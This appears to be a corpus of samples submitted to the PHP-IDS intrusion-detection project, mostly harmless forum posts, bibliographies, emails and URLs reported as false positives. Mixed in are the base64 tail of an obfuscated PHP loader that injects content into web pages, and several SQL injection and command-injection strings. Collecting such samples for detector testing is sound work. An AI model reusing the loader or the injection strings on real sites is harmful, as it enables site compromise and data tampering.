MkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYyKXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MjsgICAgICB9ICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz1AZ3ppbmZsYXRlKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSk7ICAgICAgaWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgICAgIH0gICAgfSAgICBmdW5jdGlvbiBtcm9iaCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>

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Hmmm... Overall impact - 20 (!!!) there are only smiles :))

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Aleiss, Angela. Making the White Man's Indian: Native Americans and Hollywood Movies. Praeger Publishers, 2005. /ISBN-13: 978-0275983963
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Edwards, Judith. The history of the American Indians and the reservation.Berkeley Heights, NJ : Enslow Publ., 2008/ ISBN: 978-0-7660-2798-5

asasas

asdasd

asdf

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Knowledge (PMBOK Guide), 3. Auflage. Newtown Square, Pennsylvania: Project Management Institute.

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Weitere Literaturverweise folgen in der Veranstaltung…,

ask a question?
post a link http://www.blah.co.uk

a%3Ao%253Aid%253Dn%25253A0%255Ewidth%253Dn%25253A400
%5Eo%253Aid%253Dn%25253A1%255Ewidth%253Dn%25253A150%5Eo%253Aid%253Dn%25253A2%255Ewidth%253Dn%25253A75
^sort=o%3Afield%3Ds%253ACompanyName%5Edirection%3Ds%253AASC

a%3Ao%253Aid%253Dn%25253A0%255Ewidth%253Dn%25253A400%5Eo%253Aid%253Dn%25253A1%255Ewidth%253Dn%25253A150%5Eo%253Aid%253Dn%25253A2%255Ewidth%253Dn%25253A75^sort=o%3Afield%3Ds%253ACompanyName%5Edirection%3Ds%253AASC

B:\Private\IT_service\Product_Repository\EC-IAQ\1.4.1

Belkmerweg 71a ( woonhuis !!!)

bttcrypt.zip

cat_id=181%27

code document.write("hi");

there is nothing wrong to use normal java script

also

code document.write();

no security isseus here

CQXcmlIrwV98FXtjK7Y1JLZBRTDFxf2EYhLzvwqH9AGehdOeusAgThWTixw0XauCO3NIFBTZHrGKIPsQHo8744uVP6OxhD7LO0wiFCM8WuVnLAu9WnsvV0ZbQxolLTpZNlceWZAp2eYACJCWZ3XpeZaj41zp4XAj2rnqHXqAmwE%3D

Cursus:
2009/2010:L2 spécialité EEA (Électronique-Électrotechnique-Automatique) en cours
2008/2009:L1 spécialité MIEEA(Mathématique-Informatique-EEA)
obtenu
2008 Bac série S

Merci de bien vouloir corriger.
Cordialement

cw=714&ch=160

C'est uniquement pour obtenir un ordre d'idées des prix partiqués pour une piscine de 10* 5 ou 12* 6

Das ist ein langer Text, der alle möglichen Zeichen (wie z.B. ?!*#)
oder Umlaute (ÄÖÜäöüß) besitzt und richtig in der eMail dargestellt werden sollte.

Mal sehen, ob er das auch richtig macht.

viele Grüße

dashletId=30&viewId=56&dataToSet=%7B%22orderType%22%3A%22wbc%22%2C%22orderId%22%3A%225259%22%7D

Date: Mon, 09 Feb 2009 09:33:49 +0100
From: "BOELL Stiftung"
To:
Subject: Studienstipendienprogramm "Junge Migrantinnen und Migranten in
den Journalismus"

www.boell.de Berlin, 9. Februar 2009

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S T U D I E N S T I P E N D I E N P R O G R A M M

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EINSENDESCHLUSS 1. MÄRZ: STUDIENSTIPENDIENPROGRAMM
Junge Migrantinnen und Migranten in den Journalismus

Die grüne Heinrich-Böll-Stiftung hat ein besonderes Studienstipendienprogramm
aufgelegt, gedacht für künftige JournalistInnen aus Einwandererfamilien
beziehungsweise mit bi-nationaler oder bi-kultureller Herkunft. Gesucht
sind talentierte Abiturienten und Studierende, die sich schon vor
Aufnahme des Studiums für ein Stipendium bewerben können. Wir freuen
uns auch über Bewerbungen von Studierenden in der Anfangsphase des Studiums.

Wir wünschen uns erste Erfahrungen in der Medienarbeit, etwa bei einer
Schüler- oder Studentenzeitung, im Bürgerradio oder in einer Agentur
(Arbeitsproben gewünscht).
Wir bieten die Vermittlung von Praktika und Volontariaten bei Medienpartnern
und in der Heinrich-Böll-Stiftung, ein monatliches Stipendium (wie Bafög
elterneinkommensabhängig), ein studienbegleitendes Qualifizierungsprogramm
(Veranstaltungen im Modulsystem, Studienreisen, Zugang zu Netzwerken).
Unsere ideelle Förderung umfasst: Beratung, Qualifizierung, Mitgestaltungsangebote,
Kontakte mit vielen Stipendiatinnen und Stipendiaten sowie Ehemaligen
der Heinrich-Böll-Stiftung aus dem In- und Ausland, Kontakte zu Medienschaffenden.

Unsere Medienpartner sind:
die tageszeitung taz, der Rundfunk Berlin-Brandenburg rbb,
die Agentur Zum goldenen Hirschen und die Deutsche Welle.
Ihnen geht es nicht um Nischenjournalismus für migrationspolitische Themen, sondern
um die Förderung eines qualifizierten Nachwuchses für alle Ressorts und Themen.

Unterstützt von der Robert Bosch Stiftung.

Bewerbungsschluss ist der 1. März 2009
Hier gibt es mehr Informationen:
http://www.boell.de/stipendien/bewerbung-1724.html

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Es ist ein entsprechender Handapparat in der Bibliothek eingerichtet (Nr. 52).
Voraussichtlich wird das Buch von Andreas Reckwitz, Die Transformation der Kulturtheorien, als Grundlage dienen.

Literatur:

#Boltanski, Luc / Eve Chiapello (2003): Der neue Geist des Kapitalismus. Konstanz: Universitätsverlag.
#Bourdieu, Pierre (2006): Die feinen Unterschiede. Kritik der gesellschaftlichen Urteilskraft. Frankfurt/M.: Suhrkamp.
#Bromley, Roger / Udo Göttlich / Carsten Winter (Hrsg., 1999): Cultural Studies. Grundlagentexte zur Einführung. Lüneburg: zu Klampen.
#Burkart, Günter (Hrsg., 2006): Die Ausweitung der Bekenntniskultur - neue Formen der Selbstthematisierung? Opladen: VS-Verlag.
#Campbell, Colin (1995): The romantic ethic and the spirit of modern consumerism. Oxford/New York: Blackwell.
#du Gay, Paul / Stuart Hall et al. (1997): Doing cultural studies. The story of the Sony Walkman. London: Sage/Open University.
#Durkheim, Emile (1911): Les formes élémentaires de la vie religieuse. Dt.: Die elementaren Formen des religiösen Lebens. Frankfurt/M.: Suhrkamp (1981).
#Elias, Norbert (1969): Über den Prozeß der Zivilisation. Soziogenetische und psychogenetische Untersuchungen. 2 Bände. Frankfurt/M.: Suhrkamp.
#Featherstone, M. (1982): The body in consumer culture. Theory, Culture and Society, 1: 18-33. (wiederabgedruckt in Featherstone/Hepworth/Turner, 1991, 170-196)
#Goffman, Erving (1959): The presentation of self in everyday life. Dt.: Wir alle spielen Theater. München: Piper (1991).
#Hahn, Alois (2000): Konstruktionen des Selbst, der Welt und der Geschichte. Frankfurt/M.: Suhrkamp.
#Hörning, Karl H. / Rainer Winter (Hrsg., 1999): Widerspenstige Kulturen. Cultural Studies als Herausforderung. Frankfurt/M.: Suhrkamp.
#Illouz, Eva (2003): Der Konsum der Romantik. Liebe und die kulturellen Widersprüche des Kapitalismus. Frankfurt/M.: Campus.
#Illouz, Eva (2007): Gefühle in Zeiten des Kapitalismus. Adorno-Vorlesungen 2004. Frankfurt/M.: Suhrkamp.
#Lichtblau, Klaus (2001): Soziologie als Kulturwissenschaft? Zur Rolle des Kulturbegriffs in der Selbstreflexion der deutschsprachigen Soziologie. Soziologie 1/2001, 5-21.
#Müller, Hans-Peter (1994): Kultur und Gesellschaft. Auf dem Weg zu einer neuen Kultursoziologie. Berliner Journal für Soziologie, 4: 135-156.
#Reckwitz, Andreas (2006): Die Transformation der Kulturtheorien. Zur Entwicklung eines Theorieprogramms. Weilerswist: Velbrück.
#Schulze, Gerhard (1996): Die Erlebnisgesellschaft. Kultursoziologie der Gegenwart. Frankfurt: Campus.
#Simmel, Georg (1900): Philosophie des Geldes. Duncker&Humboldt.
#Turner, Bryan S. (1996): The body and society. Second edition. London: Sage.
#Weber, Max (1920): Gesammelte Aufsätze zur Religionssoziologie. Tübingen: Mohr-Siebeck/UTB., ziel=Es ist ein entsprechender Handapparat in der Bibliothek eingerichtet (Nr. 52).
Voraussichtlich wird das Buch von Andreas Reckwitz, Die Transformation der Kulturtheorien, als Grundlage dienen.

Literatur:

#Boltanski, Luc / Eve Chiapello (2003): Der neue Geist des Kapitalismus. Konstanz: Universitätsverlag.
#Bourdieu, Pierre (2006): Die feinen Unterschiede. Kritik der gesellschaftlichen Urteilskraft. Frankfurt/M.: Suhrkamp.
#Bromley, Roger / Udo Göttlich / Carsten Winter (Hrsg., 1999): Cultural Studies. Grundlagentexte zur Einführung. Lüneburg: zu Klampen.
#Burkart, Günter (Hrsg., 2006): Die Ausweitung der Bekenntniskultur - neue Formen der Selbstthematisierung? Opladen: VS-Verlag.
#Campbell, Colin (1995): The romantic ethic and the spirit of modern consumerism. Oxford/New York: Blackwell.
#du Gay, Paul / Stuart Hall et al. (1997): Doing cultural studies. The story of the Sony Walkman. London: Sage/Open University.
#Durkheim, Emile (1911): Les formes élémentaires de la vie religieuse. Dt.: Die elementaren Formen des religiösen Lebens. Frankfurt/M.: Suhrkamp (1981).
#Elias, Norbert (1969): Über den Prozeß der Zivilisation. Soziogenetische und psychogenetische Untersuchungen. 2 Bände. Frankfurt/M.: Suhrkamp.
#Featherstone, M. (1982): The body in consumer culture. Theory, Culture and Society, 1: 18-33. (wiederabgedruckt in Featherstone/Hepworth/Turner, 1991, 170-196)
#Goffman, Erving (1959): The presentation of self in everyday life. Dt.: Wir alle spielen Theater. München: Piper (1991).
#Hahn, Alois (2000): Konstruktionen des Selbst, der Welt und der Geschichte. Frankfurt/M.: Suhrkamp.
#Hörning, Karl H. / Rainer Winter (Hrsg., 1999): Widerspenstige Kulturen. Cultural Studies als Herausforderung. Frankfurt/M.: Suhrkamp.
#Illouz, Eva (2003): Der Konsum der Romantik. Liebe und die kulturellen Widersprüche des Kapitalismus. Frankfurt/M.: Campus.
#Illouz, Eva (2007): Gefühle in Zeiten des Kapitalismus. Adorno-Vorlesungen 2004. Frankfurt/M.: Suhrkamp.
#Lichtblau, Klaus (2001): Soziologie als Kulturwissenschaft? Zur Rolle des Kulturbegriffs in der Selbstreflexion der deutschsprachigen Soziologie. Soziologie 1/2001, 5-21.
#Müller, Hans-Peter (1994): Kultur und Gesellschaft. Auf dem Weg zu einer neuen Kultursoziologie. Berliner Journal für Soziologie, 4: 135-156.
#Reckwitz, Andreas (2006): Die Transformation der Kulturtheorien. Zur Entwicklung eines Theorieprogramms. Weilerswist: Velbrück.
#Schulze, Gerhard (1996): Die Erlebnisgesellschaft. Kultursoziologie der Gegenwart. Frankfurt: Campus.
#Simmel, Georg (1900): Philosophie des Geldes. Duncker&Humboldt.
#Turner, Bryan S. (1996): The body and society. Second edition. London: Sage.
#Weber, Max (1920): Gesammelte Aufsätze zur Religionssoziologie. Tübingen: Mohr-Siebeck/UTB.

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Feste Termine:
- 04.12. 10 - 12 Uhr R 08 RW
- 11.12. 11 - 13 Uhr "
- 18.12. n.n.
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(incl. AGe LB 5 Scheine)
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Am Di. 16.12. 10.15 - 11.45 Treffen von allen, die an der nifbe Ausstellung (LB5 Schein) teilnehmen wollen im nifbe , Haagestr. 3.

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Ganz richtig!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Diese Verhältnisse sind einfach unzumutbar, sie KÖNNEN und DÜRFEN nicht so sein! Ein Herz für Studenten fordere ich! Überhaupt, warum dürfen wir uns nicht alle einfach einen privaten Termin wünschen, welcher perfekt zwischen Friseur- und Urlaubstermine passt? Versetzt sich hier eigentlich auch jemand in die Lage von Leuten wie mir, die jeden Morgen aus Kalkutta auf einem einflossigen Delfin hier her schwimmen?!
Außerdem muss man sich auf den Termin am nächsten Donnerstag doch komplett neu vorbereiten, es kann ja nun wirklich keiner ernsthaft verlangen eine ganze Woche lang das bereits erlernte Wissen zu behalten! Und die Wahrsagerin hat mir auch gesagt ich hätte diese Woche eine viel bessere Note geschrieben als nächste Woche.
Und schließlich sind das nur geschätzte x Klausuren, die jedes Semester organisiert werden müssen. Dieser Vorfall fällt eindeutig unter das Stichwort "Skandal" und nicht unter "kann mal passieren"! Man sollte am Besten die Presse hinzuziehen, ich bin mir sicher, der Spiegel oder die FAZ können sich vor Aufregung kaum halten, solch skandalöse Umstände aufzudecken! Gehen wir auf die Strasse!
Vielen, vielen Dank an den Lehrstuhl und denjenigen, denen wir diesen Schlamassel zu verdanken haben, wir sind enttäuscht und traurig. Wirklich, mit einem einfachen "Sorry" ist es nicht getan!!! Da müssen schon Bonbons her! Ich hoffe Sie können es mit ihrem Gewissen vereinbaren, dass wir wohl alle das Studium abbrechen müssen, denn zwei Klausuren, die ganze 60 bzw. 90 min dauern und zwischen denen 7 Stunden liegen, überfordern uns einfach komplett.
Und elitär heißt doch schließlich, dass alle, egal ob ambitioniert oder faul, gut oder schlecht, ohne Aufwand das Studium bestreiten können, oder?

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Get-Parameters:
name=Steuerliche und zivilrechtliche Fragen bei personellen Veränderungen in Unternehmen (juristisches Lehrforschungsprojekt*)&name_en=--&ziel=Im ersten Semester (SS 09) :Erarbeiten aller theoretischen Voraussetzungen mit interdiszipli-närem Anspruch-----------------------------------------------------------------------------Im zweiten Semester (WS 09 / 10):Erstellen eines steuerrechtswissenschaftlichen Gutachtens zu je einer ausgewählten Fragestellung aus der Praxis

GET.id=/de/neues/data8249.htm' and user=0 and '1'='1

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Goshal, S. und Bartlett, C.A. "Planned Change" (2000)

Great video as an introduction to XY. Question on the content: Back at the beginning of 1993, Paul mentioned the ABC priorities to be focused on delivery of the regional portfolio first and then corporate. Has this focus changed? If not,why is XY being rolled out at a regional/local level in the 3rd wave?

grj

Guten Abend,

gerade lese ich die Folien für die morgige Vorlesung durch und
wundere mich über die Erläuterungen zu Inter- bzw. Intrarollen-
konflikten (Vorlesung Nr.8, F. 19 + 20). Sowohl in einem Seminar
des Leuphana-Semesters, als auch im Psychologieunterricht in
der Schule hatte ich diese Konflikte wie folgt verstanden:

Intrarollenkonflikte:
treten innerhalb einer Rolle (z.B. Rolle
als Studentin) auf, weil man sich z.B.
nicht mit ihr identifizieren kann, die Teil-
aufgaben dieser Rolle (wie z.B. Stoff vor-
und nachbereiten; für Prüfungen lernen; ...)
(verinzelt) nicht bewältigen kann o.Ä.

Interrollenkonflikte:
treten zwischen ein oder mehreren Rollen
auf, die eine Person inne hat. Z.B.: muss viel
arbeiten und beruflich organisieren (Rolle als
Unternehmensführer), aber eigentlich auch
mehr Zeit mit den Kindern/ der Familie ver-
bringen (Rolle als Vater/ Ehemann) --> ist sehr
schwierig beide Rollen "optimal" zu "spielen"....

Ein paar aufklärende Worte ihrerseits würden mich sehr freuen ^^
Vielen Dank im Voraus und bis morgen.

Guten Abend,

wollte noch was zur heutigen Vorlesung anmerken:
Herr XXX, Sie wunderten sich doch weshalb
Paul Watzlawik das 4.Axiom als einzelnes aufführt,
da es Ihrer Meinung nach dasselbe wie das 2. sei.
Mein Gedanke dazu ist folgender:

vtl. meint er mit digital gar nicht den Sachaspekt und
mit analog den Bezihungsaspekt, sondern versteht
digitale & analoge Kommunikation als:

digital -> per E-Mail/SMS/chat etc.
analog -> "eye-2-eye conversation", sprich ein
reales Gegenüberstehen der Gesprächspartner.

Das halt ich für relativ plausibel, da es sehr schwierig
ist reale Emotionen per Mail etc. zu übermitteln. Deshalb
gibt es in chats etc. auch oft Missverständnisse, da
Äußerungen oft anders ankommen, als sie gemeint waren
(siehe gesendete und empfangene Botschaft).
Nach "meiner Theorie" :P würde ich ein Telefonat dann
entweder als analoge oder quasi-analoge Kommunikation
bezeichnen - eher als analog, da man sein Gegenüber
zwar nicht sieht, aber die Nachrichten trotzdem in Echtzeit
übermittelt & empfangen wird. Beim chat hingegen wird
sie zwar quasie in Echtzeit geschickt, allerdings kann es
sein, dass der Empfänger es nicht gleich liest. Außerdem
werden die Emotionen der Personen WEDER optisch,
NOCH akkustisch oder sonst wie übertragen - die Nachrichten
kriegen also keinen individuellen touch. So, das war's :P

Auf RTL läuft übrigens gerade etwas zu Mobbing:
"future TREND reportage" -> "Mobbing im Schulalltag
- wenn Kinder in Angst leben". Hab in der Teletextinfo
nix gefunden, wann es evtl. wiederholt wird.. =/
Werd's mir aber jetzt angucken ;)

Gute Nacht,

hadhkad

Hallo an alle :-)!

Ich habe einen Platz für das Seminar ... an folgenden Wochenenden bekommen:

Einzeltermin | Sa, 14.11.2009, 10:00 bis Sa, 14.11.2009, 18:00 | C 12.13
Einzeltermin | So, 15.11.2009, 10:00 bis So, 15.11.2009, 18:00 | C 12.13
Einzeltermin | Sa, 05.12.2009, 10:00 bis Sa, 05.12.2009, 18:00 | C 12.13
Einzeltermin | So, 06.12.2009, 10:00 bis So, 06.12.2009, 18:00 | C 12.13

Leider kann ich an einem der Wochenenden nicht!
Würde jemand mit mir den Platz tauschen so dass ich an diesem Seminar (21. + 22.11. und 12. + 13.12.) und teilnehmen kann und der/diejenige würde dann meinen Platz für die eben genannten Termine bekommen?
Es wäre super, wenn das klappen würde.
Viele Grüße

Hallo!

Ich suche jemanden,der mir meine Seite (www.crazyunited.de) aufpeppt,sprich:ein neues,optimiertes Startbild hinzaubert.
Ich arbeite mit WORD PRESS,da ich leider Null Ahnung von Html habe.
Können Sie mir da Helfen?
Falls ja,was würde mich der Spaß kosten? Denn meine Seite ist ein absolutes D.I.Y. Teil,womit ich absolut kein Geld verdiene!
Über eine Antwort Ihrerseits würde ich mich sehr freuen.

MfG

Frank Herbst

Hallo!
Könnte man vieleicht eines der beiden Mittwoch-Tutorien einen Block nach hinten schieben? (also 16:00-18:00)

(keine Ahnung, ob das hier das richtige Forum dafür ist)

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Harmless HTML is allowed

Harmless HTML is allowed

<u>Wer</u> sind eigentlich die netten Damen, die <b>mich </b>jeden morgen im Fahrstuhl freundlich anlacheln?<br><br>Ware toll wenn ihr mir da weiterhelfen konntet -<i> ich komm hier namlich nicht weiter. <img src="/daniel/magix.info.live/htdocs/media/js/fckeditor/editor/images/smiley/mgx/weinen.gif" alt=""><br><br></i><u><i>Gruss<br><br>also??? </i></u><b><i></i></b><u><i><br></i></u>

hello I really like m&m's;

Hello,

My email is dev@boonex.com

This short string with 2 backslashes gives impact 20!!!

\'Mystery girl\'

Hello,

My email is dev@boonex.com

This text contains almost no html and gives impact 22:

<p>Well. Another year and another trip to Baltimore. Wow was I underwhelmed! Same old people, same old exhibitors, same old stuff. I even ate at the same old restaurant across the street with the same old lame service and bad food.I don't know what it is. Maybe it's just me. I always end up in Baltimore. It's like an addiction to popsicles. They are really good for the first half a dozen or so then your mouth gets numb and it becomes a chore. I think what finally did me in was those absolutely fantastic $5 burgers in the food court or trying to keep up with my Gothic office manager that I allowed to come along with me this year. I spent the entire time I was there telling people I had no idea where she was and she would eventually show up all the while lstening to them calling her my 'mystery girl' and they weren't sure if she actually existed or not.<br />Once she did finally show up, no one wanted to talk to me anymore .... but I digress...<br />I don't know what it was but it all seemed less grand this year. There didn'tseem to be the same sparkle as before, the amount of people that came seemed less, there was absolutely nothing new to be found anywhere in the entire complex. I think it just finally got old for me.<br />Is it justy me or does there seem to be an absolute lack of ingenuity in this industry anymore? I mean I haven't seen anything new come along that has made me say 'wow! that's just a cool idea!' The only thing that remotely surprised me was the Metro zero degree med duty bed. I saw it, It did not impress me anymore than the Galaxy I already owned. I felt like asking the salesman 'why didn't you at least give it a decent paint job?' It seems foolish to me to bring an unpolished display where tens of thousands of towers are going to examine it and pick it apart. Why bother?<br />Oh my gawd! I sound like the ulrimate whiner! You know, alst year I came with about 500 TowTalk T shirts. I spent the entire weekend dragging a suitcase behind me handing them out. People seemed thankful and I liked  promoting my site but at the same time, I didn't get to spend one minute talking to people or checking out th0 diplays so this year I decded I wasn't bringing anything but myself.<br />I should have brought T shirts. I realized that last year, I really hadn't missed anything.<br />Ok, enough show bashing. There is something else I want to talk about. Peeing on each others tree. You can make your pee more pungent if you limit how much wa ... wait, I have a better way to put this. Every day we see articles posted by the supposed experts that we need to combine our efforts in this industry and start working together. It's hard to do and even harder to visualize when all around you there are factions fighting for control. This manufacturer against that manufacturer, this trainer or that trainer, which do we follow, EMS and towers on separate sides of the room etc. Then I went to a seminar and in this seminar I saw these two guys doing a class together! (Look at the image in the upper left hand corner of this blog).<br />I do not know why and I have been speculating heavily on what conditions may have existed that would cause these two guys to get together for a training class. Tom Luciano from Miller Industries and Terry Hummelsine from Wreckmaster! After all that I didn't see and all the wows that I never got to say I finally got to rejoice! WOW! Two guys from completely different camps working together to further the training cause of this industry! My hats are off to both these gentlemen and I want to say thank you for stepping up to the plate and finally walking the walk! <br />Maybe sometime in the distant future we really will be able to come together as an indusrtry and start affecting some change. Thanks to these two guys, for me anyways, the light at the end of that tunnel just got a lot closer.</p>

hel"other and hel'ps other %f

Hi, why is this a bad text?
Thank you, please do NOT contact us under the following not registered phone nr: 0043-223-12344.
We have many false positives on these normal texts with a question mark and a doublepoint in contact formulars. Please inform us what to do: mr@meikrom.de

http://demo.php-ids.org/?test=%22%3EXXX+|ls|+UNION+GROUP;eval%28base64_decode%28%27000%27%29%29;

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http://php-ids.org/

http://videozid.homelinux.com/zm/

http://videozid.homelinux.com/zm/skins/mobile/css/skin.css/

http://www.buerger.sachsen-anhalt.de:80/modules/bs/serviceportal/../../../modules/bs/php/fileloader.php?formclass=FormularZentral&FMZ_ID=21134125
Why detecs an basic obfuscated JS script injection?

http://www.cabanadacely.com.br/?p=promocoes.php

http://www.commerce.com.tw/

http://www.falalineage.com/new/index.php

http://www.sandrobaggio.com/

https://kolandska.homelinux.com:81/kolandska/kolandska/kolandska/stranice/unos%20servis.php

https://my.domain.de/DE/private/home/param123

https://thfrm.thueringen.de/thueform/cfs/eject/pdf/8.pdf?print=yes&MANDANTID=2&FORMUID=AGV-019-DE-FL&PLUGIN=yes

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Hunderttausende haben auf seinen Tourneen Tränen gelacht und Millionen kennen ihn aus dem Fernsehen. Er ist unbestritten ein "ganz großer Komiker" (Der Spiegel) und sorgt seit über 20 Jahren für Tränen lachende Zuschauer und ausverkaufte Hallen in Deutschland, Österreich und der Schweiz.<p> Jetzt ist Rüdiger Hoffmann mit seinem brandneuen Programm "Sex oder Liebe" zurück, in dem der Westfale mit seinem einmaligen Humor zur großen Begeisterung des Publikums kein Klischee des Rock'n'Roll-Lifestyle außer Acht lässt. Die Hannoversche Allgemeine Zeitung lobt, dass es "in seinem Programm keine Längen gibt." Sie attestiert ihm "reifer und ausdrucksstärker" geworden zu sein. Weiter heißt es: "Zweieinhalb Stunden begeistert der Mann mit seinem trockenen...Humor." Als "Titan der Langsamkeit" betitelt die WAZ Hoffmann in "Sex oder Liebe" und adelt das Programm als "äußerst gelungene Mischung". "Richtig geniale Momente" findet die Schwäbische Post und freut sich: "Hoffmann ist wie er ist. Zum Glück!" <p> Zu "Hallo erstmal..." kommt jetzt also noch "Are you ready to party?" dazu, und natürlich dürfen Themen sie Sex, Drugs und Rebellion keinesfalls fehlen. Rüdiger Hoffmann mokiert sich über die Privilegien der VIPs, nimmt die wilden Musikerpartys auf die Schippe und ergründet die Unterschiede zwischen Mann und Frau. Missverständnisse sind natürlich vorprogrammiert. Wie immer sind es die grotesken Situationen des ganz banalen Alltags, die Rüdiger Hoffmann mit viel Einfallsreichtum in humoristische Kleinode verwandelt: Egal ob Sex oder Liebe - eines darf sein Publikum auf keinen Fall erwarten: Verschnaufpausen für das Zwerchfell!

I had a perfect night with Laura, She is absolutely perfect!!! Her looking, body shape and her perfect eyes and smile is really unforgettable!!! You can easily communicate with her and even talk in several subjects. If i want to be very honest and to give Laura what she deserves I have to rate her 10, she is absolutely a HARD 10. I can say now that Skyline is the best agency in Germany. You will find what you paid for and they deserve the money they take against this perfect service. I would like to thank you Toni for the perfect service you are providing and i do strongly recommend Skyline agency for all interested people, this is the best agency in Germany! Thanks,

I read in the LA times this morining that Google may by Yelp - a site that specializes in reviews of small business. I'm not sure I like this idea. While at one time I think Google really was oriented towards "empowering" small business, now I think more are more they want to control them.

I first started thinking this when I read a passionate protest against "Google SideWiki". This is a little utility where you can comment on a website through Google, without being a member of that website. So right now you could for example, go write "The California Small Business Community Sucks!" (please don't do that) and I would have to go write a rebuttal - another thing to deal with. Since many sites like this are run by small business, Google is essentially trying to "trump" their site and take advantage of their hard work.

Another example is "Open ID" - it is a little more technical, but this was supposed to let people log on to sites like this with their Google ID and password. At first I thought this was OK- it would allow people to have just one centrally managed place for their passwords. Then I learned that webmasters that develop sites like this wouldn't even be allowed to have access to their member's email. Special programs would have to be written to send requests to Google to send messages to members- the management of sites like this wouldn't even have access to email addresses!

This is all getting a bit too "big brother" for me. Google is trying to "trump" the Internet. Our only job is to provide content for them so they can sell more advertising. What ever happened to "don't be evil"

ID_BB_COUNTRIES=154%27+WHERE+ID_PERSONS+%3D+%27197787%27;UPDATE+ADDRESSES+SET+ADDRESS1+%3D+%28SELECT+LAST_NAME+FROM+PERSONS+WHERE+ID_PERSONS+%3D+%27197782%27%29+WHERE+ID_PERSONS+%3D+%27197787%27;UPDATE+ADDRESSES+SET+ID_BB_COUNTRIES+%3D+%27200

Ihre "Tages-"Pläne

Inhalt: Folgende Themen sind Gegenstand des Seminars:

1. Ist Reisen ein Konsum von Räumen?
Stichworte: Raumtheorie, räumliche Praxen, touristische Aktivitäten, Kommodifikation (Lit.: Meethan 2001, Pocock 2006)

2. Ist Reisen eine performative Praxis?
Stichworte: Performativität, Theatralität, Mimesis, Raumproduktion (Lit.: Edensor 2001, Fischer-Lichte 2001)

3. Werden wir durch das Reisen sozialisiert?
Stichworte: Sozialisation, Rolle, Identität, Konfrontation mit dem Fremden (Lit.: Geulen 1989, Wöhler 2003)

4. Ist Reisen eine symbolische Praxis?
Stichworte: Distinktion, Symbolkonsum, Habitus, Lebensstile (Lit.: Bourdieu 1997, Brown 1992)

5. Ist Reisen ethisch bedenklich?
Stichworte: Ethik, Moral, Kategorischer Imperativ, Menschenrechte (Lit.: Lovelock 2007, Mackie 1981)

6. Erleben wir beim Reisen authentische Räume?
Stichworte: Authentizität, Erfahrung von Welt, Perspektiven der Wirklichkeit, Inszenierung (Lit.: MacCannell 1989, Wang 1999)

7. Ist Reisen eine postmoderne Praxis?
Stichworte: Postmoderne, Ästhetisierung, Authentizität, Diskursivität (Lit.: Campbell 2005, Welsch 2002)

8. Ist Reisen eine liminale Praxis?
Stichworte: Ritual, Liminalität, Spiel, Grenzerfahrung (Lit.: Lett 1983, Turner 1989)

9. Inwiefern ist Reisen eine körperliche Erfahrung?
Stichworte: Körper, Identität, Zivilisation, Natur (Lit.: Crossley 2001, Wang 2003)

10. Gibt es geschlechtsspezifische Reisepraxen?
Stichworte: Gender Studies, genderspezifische Raumkodierungen, Machtbeziehungen, Geschlecht als Determiniertheit (Lit.: Heaney 2005, Wearing 1998)

11. Ist Reisen eine postkoloniale Praxis?
Stichworte: Postkoloniale Theorie, Subalternität, Machtbeziehungen, kulturelle Repräsentationen (Lit.: Said 1981, Teo/Leong 2005)

12. Beeinflussen Bilder die Reisepraxis?
Stichworte: Bilder, Wahrnehmung, Reisemotive, Erinnerung (Lit.: McGregor 2000, Strain 2003), pruefungsleistung=Referat/Hausarbeit

Die Note für den Leistungsnachweis ergibt sich aus der Note für die Hausarbeit (60 %), der Präsentation im Rahmen des Referats (20 %) und der Mitarbeit im Seminar (20 %).

Für die Hausarbeit gelten folgende Bewertungskriterien:
- Informationsgehalt (Wie breit und tiefgehend wird das Thema behandelt)
- Darstellung (Klarheit, Genauigkeit, logischer Aufbau, sprachliche Qualität)
- Literaturverarbeitung (Wieviel Literatur wird herangezogen; wie genau wird sie in den Text einbezogen; Genauigkeit der Quellenverweise)
